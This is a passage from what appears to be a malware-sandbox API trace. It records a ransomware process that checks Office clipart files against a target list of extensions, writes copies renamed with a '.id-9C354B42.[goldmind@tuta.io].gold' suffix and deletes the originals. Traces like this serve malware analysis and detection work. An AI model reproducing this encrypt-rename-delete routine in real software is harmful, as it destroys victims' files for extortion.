(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0113.943] lstrlenW (lpString=".jpg") returned 4 [0113.943] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.943] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.943] lstrlenW (lpString="J0195342.WMF") returned 12 [0113.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0113.944] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=21328) returned 1 [0113.944] CloseHandle (hObject=0x194) returned 1 [0113.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf")) returned 0x20 [0113.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0113.945] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.945] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0113.946] GetLastError () returned 0x0 [0113.946] ReadFile (in: hFile=0x194, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x5350, lpOverlapped=0x0) returned 1 [0113.948] WriteFile (in: hFile=0x3f8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x5360, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x5360, lpOverlapped=0x0) returned 1 [0113.949] ReadFile (in: hFile=0x194, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.949] WriteFile (in: hFile=0x3f8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.949] SetEndOfFile (hFile=0x3f8) returned 1 [0113.949] CloseHandle (hObject=0x3f8) returned 1 [0113.949] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.949] SetEndOfFile (hFile=0x194) returned 1 [0113.951] CloseHandle (hObject=0x194) returned 1 [0113.952] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.952] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf")) returned 1 [0113.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0113.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0113.953] lstrlenW (lpString=".doc") returned 4 [0113.953] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.953] lstrlenW (lpString=".docx") returned 5 [0113.953] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0113.953] lstrlenW (lpString=".pdf") returned 4 [0113.953] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.953] lstrlenW (lpString=".xls") returned 4 [0113.953] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.953] lstrlenW (lpString=".xlsx") returned 5 [0113.953] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0113.953] lstrlenW (lpString=".ppt") returned 4 [0113.953] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0113.953] lstrlenW (lpString=".zip") returned 4 [0113.953] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.953] lstrlenW (lpString=".rar") returned 4 [0113.953] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.953] lstrlenW (lpString=".bz2") returned 4 [0113.953] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.953] lstrlenW (lpString=".7z") returned 3 [0113.953] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0113.953] lstrlenW (lpString=".dbf") returned 4 [0113.953] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0113.953] lstrlenW (lpString=".1cd") returned 4 [0113.953] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0113.954] lstrlenW (lpString=".jpg") returned 4 [0113.954] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0113.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0113.954] lstrlenW (lpString=".doc") returned 4 [0113.954] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.954] lstrlenW (lpString=".docx") returned 5 [0113.954] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0113.954] lstrlenW (lpString=".pdf") returned 4 [0113.954] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.954] lstrlenW (lpString=".xls") returned 4 [0113.954] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.954] lstrlenW (lpString=".xlsx") returned 5 [0113.954] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0113.954] lstrlenW (lpString=".ppt") returned 4 [0113.954] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0113.954] lstrlenW (lpString=".zip") returned 4 [0113.954] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.954] lstrlenW (lpString=".rar") returned 4 [0113.954] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.954] lstrlenW (lpString=".bz2") returned 4 [0113.954] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.954] lstrlenW (lpString=".7z") returned 3 [0113.954] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0113.954] lstrlenW (lpString=".dbf") returned 4 [0113.954] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0113.954] lstrlenW (lpString=".1cd") returned 4 [0113.954] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF") returned 63 [0113.954] lstrlenW (lpString=".jpg") returned 4 [0113.954] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.955] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.955] lstrlenW (lpString="J0195428.WMF") returned 12 [0113.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0113.956] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=18622) returned 1 [0113.956] CloseHandle (hObject=0x194) returned 1 [0113.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf")) returned 0x20 [0113.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0113.958] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.958] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0113.959] GetLastError () returned 0x0 [0113.959] ReadFile (in: hFile=0x194, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x48be, lpOverlapped=0x0) returned 1 [0113.961] WriteFile (in: hFile=0x3f8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x48c0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x48c0, lpOverlapped=0x0) returned 1 [0113.962] ReadFile (in: hFile=0x194, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.962] WriteFile (in: hFile=0x3f8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.962] SetEndOfFile (hFile=0x3f8) returned 1 [0113.962] CloseHandle (hObject=0x3f8) returned 1 [0113.962] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.962] SetEndOfFile (hFile=0x194) returned 1 [0113.964] CloseHandle (hObject=0x194) returned 1 [0113.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.964] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf")) returned 1 [0113.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0113.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0113.965] lstrlenW (lpString=".doc") returned 4 [0113.965] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.965] lstrlenW (lpString=".docx") returned 5 [0113.965] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0113.965] lstrlenW (lpString=".pdf") returned 4 [0113.965] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.965] lstrlenW (lpString=".xls") returned 4 [0113.965] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.965] lstrlenW (lpString=".xlsx") returned 5 [0113.965] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0113.966] lstrlenW (lpString=".ppt") returned 4 [0113.966] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0113.966] lstrlenW (lpString=".zip") returned 4 [0113.966] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.966] lstrlenW (lpString=".rar") returned 4 [0113.966] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.966] lstrlenW (lpString=".bz2") returned 4 [0113.966] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.966] lstrlenW (lpString=".7z") returned 3 [0113.966] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0113.966] lstrlenW (lpString=".dbf") returned 4 [0113.966] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0113.966] lstrlenW (lpString=".1cd") returned 4 [0113.966] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0113.966] lstrlenW (lpString=".jpg") returned 4 [0113.966] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0113.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0113.966] lstrlenW (lpString=".doc") returned 4 [0113.966] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.966] lstrlenW (lpString=".docx") returned 5 [0113.966] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0113.966] lstrlenW (lpString=".pdf") returned 4 [0113.966] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.966] lstrlenW (lpString=".xls") returned 4 [0113.966] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.966] lstrlenW (lpString=".xlsx") returned 5 [0113.966] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0113.966] lstrlenW (lpString=".ppt") returned 4 [0113.966] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0113.966] lstrlenW (lpString=".zip") returned 4 [0113.966] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.966] lstrlenW (lpString=".rar") returned 4 [0113.966] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.966] lstrlenW (lpString=".bz2") returned 4 [0113.967] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.967] lstrlenW (lpString=".7z") returned 3 [0113.967] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0113.967] lstrlenW (lpString=".dbf") returned 4 [0113.967] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0113.967] lstrlenW (lpString=".1cd") returned 4 [0113.967] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0113.967] lstrlenW (lpString=".jpg") returned 4 [0113.967] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.967] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.967] lstrlenW (lpString="J0195772.WMF") returned 12 [0113.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0114.054] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=3680) returned 1 [0114.054] CloseHandle (hObject=0x194) returned 1 [0114.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf")) returned 0x20 [0114.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0114.085] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.087] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0114.088] GetLastError () returned 0x0 [0114.088] ReadFile (in: hFile=0x194, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0xe60, lpOverlapped=0x0) returned 1 [0114.090] WriteFile (in: hFile=0x380, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xe70, lpOverlapped=0x0) returned 1 [0114.091] ReadFile (in: hFile=0x194, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.091] WriteFile (in: hFile=0x380, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.091] SetEndOfFile (hFile=0x380) returned 1 [0114.091] CloseHandle (hObject=0x380) returned 1 [0114.091] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.091] SetEndOfFile (hFile=0x194) returned 1 [0114.092] CloseHandle (hObject=0x194) returned 1 [0114.093] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.093] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf")) returned 1 [0114.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF") returned 63 [0114.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF") returned 63 [0114.094] lstrlenW (lpString=".doc") returned 4 [0114.094] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.094] lstrlenW (lpString=".docx") returned 5 [0114.094] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0114.094] lstrlenW (lpString=".pdf") returned 4 [0114.094] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.094] lstrlenW (lpString=".xls") returned 4 [0114.094] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.094] lstrlenW (lpString=".xlsx") returned 5 [0114.094] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0114.094] lstrlenW (lpString=".ppt") returned 4 [0114.094] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF") returned 63 [0114.094] lstrlenW (lpString=".zip") returned 4 [0114.094] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.094] lstrlenW (lpString=".rar") returned 4 [0114.094] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.094] lstrlenW (lpString=".bz2") returned 4 [0114.094] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.094] lstrlenW (lpString=".7z") returned 3 [0114.094] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF") returned 63 [0114.094] lstrlenW (lpString=".dbf") returned 4 [0114.094] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF") returned 63 [0114.094] lstrlenW (lpString=".1cd") returned 4 [0114.094] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF") returned 63 [0114.094] lstrlenW (lpString=".jpg") returned 4 [0114.094] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF") returned 63 [0114.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF") returned 63 [0114.094] lstrlenW (lpString=".doc") returned 4 [0114.094] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.094] lstrlenW (lpString=".docx") returned 5 [0114.094] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0114.094] lstrlenW (lpString=".pdf") returned 4 [0114.094] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.094] lstrlenW (lpString=".xls") returned 4 [0114.094] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.094] lstrlenW (lpString=".xlsx") returned 5 [0114.094] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0114.094] lstrlenW (lpString=".ppt") returned 4 [0114.094] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF") returned 63 [0114.094] lstrlenW (lpString=".zip") returned 4 [0114.094] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.094] lstrlenW (lpString=".rar") returned 4 [0114.095] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.095] lstrlenW (lpString=".bz2") returned 4 [0114.095] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.095] lstrlenW (lpString=".7z") returned 3 [0114.095] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF") returned 63 [0114.095] lstrlenW (lpString=".dbf") returned 4 [0114.095] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF") returned 63 [0114.095] lstrlenW (lpString=".1cd") returned 4 [0114.095] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF") returned 63 [0114.095] lstrlenW (lpString=".jpg") returned 4 [0114.095] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.095] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.095] lstrlenW (lpString="J0198021.WMF") returned 12 [0114.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0114.096] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=34912) returned 1 [0114.096] CloseHandle (hObject=0x194) returned 1 [0114.096] GetFileAttributesW 